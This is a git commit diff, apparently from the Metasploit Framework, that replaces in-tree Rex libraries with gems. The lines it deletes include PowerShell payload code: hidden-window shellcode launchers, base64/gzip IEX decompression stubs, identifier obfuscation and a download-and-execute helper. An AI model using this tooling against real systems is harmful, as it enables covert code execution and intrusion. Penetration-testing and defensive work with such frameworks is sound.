rip out old rex code and replace with gems

rex-text, rex-random_identifier, rex-powershell, rex-zip, and rex-registry
are now being pulled in as gems instead of part of the spgehtti code that is lib/rex
bug/bundler_fix
David Maloney 2016-06-21 13:56:36 -05:00
parent 718f36f1af
commit 69e2d05a5d
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
42 changed files with 35 additions and 6269 deletions

View File

@ -28,6 +28,11 @@ PATH
rb-readline-r7
recog
redcarpet
rex-powershell
rex-random_identifier
rex-registry
rex-text
rex-zip
robots
rubyzip
sqlite3
@ -204,6 +209,15 @@ GEM
recog (2.0.21)
nokogiri
redcarpet (3.3.4)
rex-powershell (0.1.0)
rex-random_identifier
rex-text
rex-random_identifier (0.1.0)
rex-text
rex-registry (0.1.0)
rex-text (0.1.1)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.4.4)
@ -242,7 +256,7 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2016.4)
tzinfo-data (1.2016.5)
tzinfo (>= 1.0.0)
xpath (2.0.0)
nokogiri (~> 1.3)

View File

@ -48,7 +48,7 @@ module Buffer
when 'java'
buf = Rex::Text.to_java(buf, var_name)
when 'powershell', 'ps1'
buf = Rex::Text.to_powershell(buf, var_name)
buf = Rex::Powershell.to_powershell(buf, var_name)
when 'vbscript'
buf = Rex::Text.to_vbscript(buf, var_name)
when 'vbapplication'

View File

@ -13,7 +13,7 @@ class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/random_identifier'
require 'rex/zip'
require 'rex/powershell'
require 'metasm'
@ -1216,7 +1216,7 @@ require 'msf/core/exe/segment_appender'
method: 'reflection')
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:sub_auto_open)
rig.init_var(:var_powershell)
@ -1307,7 +1307,7 @@ require 'msf/core/exe/segment_appender'
def self.to_mem_aspx(framework, code, exeopts = {})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:var_funcAddr)
rig.init_var(:var_hThread)
rig.init_var(:var_pInfo)
@ -1370,7 +1370,7 @@ require 'msf/core/exe/segment_appender'
method: 'reflection')
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig = Rex::RandomIdentifier::Generator.new()
rig.init_var(:var_shell)
rig.init_var(:var_fso)

View File

@ -42,7 +42,7 @@ end
require 'rex/constants'
require 'rex/exceptions'
require 'rex/transformer'
require 'rex/random_identifier_generator'
require 'rex/random_identifier'
require 'rex/text'
require 'rex/time'
require 'rex/job_container'

View File

@ -1,62 +0,0 @@
# -*- coding: binary -*-
require 'rex/powershell/payload'
require 'rex/powershell/output'
require 'rex/powershell/parser'
require 'rex/powershell/obfu'
require 'rex/powershell/param'
require 'rex/powershell/function'
require 'rex/powershell/script'
require 'rex/powershell/psh_methods'
require 'rex/powershell/command'
module Rex
module Powershell
#
# Reads script into a Powershell::Script
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end

View File

@ -1,359 +0,0 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Command
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Encoded script
def self.encode_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.encode_code(eof)
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Compressed script with decompression stub
def self.compress_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.compress_code(eof)
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def self.generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def self.generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (opts[:method] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @param opts [Hash] The options for generate_psh_args
#
# @return [String] Wrapped powershell code
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
opts[:noprofile] ||= 'true'
opts[:windowstyle] ||= 'hidden'
# Old method needs host process to stay open
opts[:noexit] = true if (opts[:method] == 'old')
if encoded
opts[:encodedcommand] = ps_code
else
opts[:command] = ps_code.gsub("'", "''")
end
ps_args = generate_psh_args(opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
end
end
compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
inner_args = opts.clone
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
end
end
end

View File

@ -1,61 +0,0 @@
# -*- coding: binary -*-
module Rex
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
attr_accessor :code, :name, :params
include Output
include Parser
include Obfu
def initialize(name, code)
@name = name
@code = code
populate_params
end
#
# To String
#
# @return [String] Powershell function
def to_s
"function #{name} #{code}"
end
#
# Identify the parameters from the code and
# store as Param in @params
#
def populate_params
@params = []
start = code.index(PARAMETER_REGEX)
return unless start
# Get start of our block
idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX)
# Ignore assignment, create params with class and variable names
matches.each do |param|
klass = nil
name = nil
param.each do |value|
if value
if klass
name = value
@params << Param.new(klass, name)
break
else
klass = value
end
end
end
end
end
end
end
end

View File

@ -1,96 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
WHITESPACE_REGEX = Regexp.new(/\s+/)
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
#
# Remove comments
#
# @return [String] code without comments
def strip_comments
# Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code
end
#
# Remove empty lines
#
# @return [String] code without empty lines
def strip_empty_lines
# Windows EOL
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL
code.gsub!(UNIX_EOL_REGEX, "\n")
code
end
#
# Remove whitespace
# This can break some codes using inline .NET
#
# @return [String] code with whitespace stripped
def strip_whitespace
code.gsub!(WHITESPACE_REGEX, ' ')
code
end
#
# Identify variables and replace them
#
# @return [String] code with variable names replaced with unique values
def sub_vars
# Get list of variables, remove reserved
get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}")
end
code
end
#
# Identify function names and replace them
#
# @return [String] code with function names replaced with unique
# values
def sub_funcs
# Find out function names, make map
get_func_names.each do |var, _sub|
code.gsub!(var, @rig.init_var(var))
end
code
end
#
# Perform standard substitutions
#
# @return [String] code with standard substitution methods applied
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers
subs.each do |modifier|
send(modifier)
end
code.gsub!(EMPTY_LINE_REGEX, '')
code
end
end # Obfu
end
end

View File

@ -1,157 +0,0 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/text'
module Rex
module Powershell
module Output
#
# To String
#
# @return [String] Code
def to_s
code
end
#
# Returns code size
#
# @return [Integer] Code size
def size
code.size
end
#
# Return code with numbered lines
#
# @return [String] Powershell code with line numbers
def to_s_lineno
numbered = ''
code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}"
end
numbered
end
#
# Return a zlib compressed powershell code wrapped in decode stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Zlib compressed powershell code wrapped in
# decompression stub
def deflate_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << '$s.ReadByte();'
psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Return Base64 encoded powershell code
#
# @return [String] Base64 encoded powershell code
def encode_code(eof = nil)
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
end
#
# Return ASCII powershell code from base64/unicode
#
# @return [String] ASCII powershell code
def decode_code
@code = Rex::Text.to_ascii(Rex::Text.decode_base64(code))
end
#
# Return a gzip compressed powershell code wrapped in decoder stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Gzip compressed powershell code wrapped in
# decompression stub
def gzip_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = Rex::Text.gzip(code)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Compresses script contents with gzip (default) or deflate
#
# @param eof [String] End of file identifier to append to code
# @param gzip [Boolean] Whether to use gzip compression or deflate
#
# @return [String] Compressed code wrapped in decompression stub
def compress_code(eof = nil, gzip = true)
@code = gzip ? gzip_code(eof) : deflate_code(eof)
end
#
# Reverse the compression process
# Try gzip, inflate if that fails
#
# @return [String] Decompressed powershell code
def decompress_code
# Extract substring with payload
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
# Decode and decompress the string
unencoded = Rex::Text.decode_base64(encoded_stream)
begin
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
rescue Zlib::GzipFile::Error
begin
@code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e
raise RuntimeError, 'Invalid compression'
end
end
@code
end
end
end
end

View File

@ -1,21 +0,0 @@
# -*- coding: binary -*-
module Rex
module Powershell
class Param
attr_accessor :klass, :name
def initialize(klass, name)
@klass = klass.strip
@name = name.strip.gsub(/\s|,/, '')
end
#
# To String
#
# @return [String] Powershell param
def to_s
"[#{klass}]$#{name}"
end
end
end
end

View File

@ -1,182 +0,0 @@
# -*- coding: binary -*-
module Rex
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end

View File

@ -1,78 +0,0 @@
# -*- coding: binary -*-
require 'rex/random_identifier_generator'
module Rex
module Powershell
module Payload
def self.read_replace_script_template(template_path, filename, hash_sub)
template_pathname = File.join(template_path, filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
def self.to_win32pe_psh_net(template_path, code)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(template_path, code)
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
#
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
# Tweaked by shellster
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(template_path, code)
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path,
"to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
end
end
end

View File

@ -1,93 +0,0 @@
# -*- coding: binary -*-
module Rex
module Powershell
##
# Convenience methods for generating powershell code in Ruby
##
module PshMethods
#
# Download file via .NET WebClient
#
# @param src [String] URL to the file
# @param target [String] Location to save the file
#
# @return [String] Powershell code to download a file
def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end
#
# Uninstall app, or anything named like app
#
# @param app [String] Name of application
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
# the application name
#
# @return [String] Powershell code to uninstall an application
def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq'
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
# @param str [String] String to create as a SecureString
#
# @return [String] Powershell code to create a SecureString
def self.secure_string(str)
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
#
# Find PID of file lock owner
#
# @param filename [String] Filename
#
# @return [String] Powershell code to identify the PID of a file
# lock owner
def self.who_locked_file(filename)
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
#
# Return last time of login
#
# @param user [String] Username
#
# @return [String] Powershell code to return the last time of a user
# login
def self.get_last_login(user)
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
#
# Disable SSL Certificate verification
#
# @return [String] Powershell code to disable SSL verification
# checks.
def self.ignore_ssl_certificate
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end
#
# Use the default system web proxy and credentials to download a URL
# as a string and execute the contents as PowerShell
#
# @param url [String] string to download
#
# @return [String] PowerShell code to download a URL
def self.proxy_aware_download_and_exec_string(url)
var = Rex::Text.rand_text_alpha(1)
cmd = "$#{var}=new-object net.webclient;"
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
cmd << "IEX $#{var}.downloadstring('#{url}');"
cmd
end
end
end
end

View File

@ -1,97 +0,0 @@
# -*- coding: binary -*-
require 'rex'
require 'forwardable'
module Rex
module Powershell
class Script
attr_accessor :code
attr_reader :functions, :rig
include Output
include Parser
include Obfu
# Pretend we are actually a string
extend ::Forwardable
# In case someone messes with String we delegate based on its instance methods
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
